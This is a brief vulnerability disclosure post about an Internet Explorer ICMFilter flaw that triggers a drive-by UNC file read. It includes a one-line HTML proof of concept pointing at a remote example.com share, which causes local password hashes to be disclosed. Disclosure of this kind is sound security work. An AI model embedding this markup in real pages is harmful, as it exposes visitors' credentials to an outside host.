Internet Explorer is vulnerable to a drive-by arbitrary UNC file read,
with the usual consequences (local account password disclosure, etc.) as
in IE6 before SP1. It is in ICMFilter, which is accessible via the CSS
filter property. Sample exploit code:

<div
style="-ms-filter:&quot;progid:DXImageTransform.Microsoft.ICMFilter(colorSpace=
'\\\\example.com\\test') &quot;">ICMFilter</div>

IE attempts to contact the remote server when the element is scrolled
into view. The consequences of this are discussed in the context of
previous vulnerabilities at:

http://archives.neohapsis.com/archives/win2ksecadvice/2000-q1/0201.html

I have not checked the ICM file parser for further escalation, but I
think that the risk of disclosure of weak local passwords is sufficient
to warrant concern.

I contacted Microsoft and someone named Tony informed me that it's a
bug, not a security vulnerability, whatever that means.

-- Tim Starling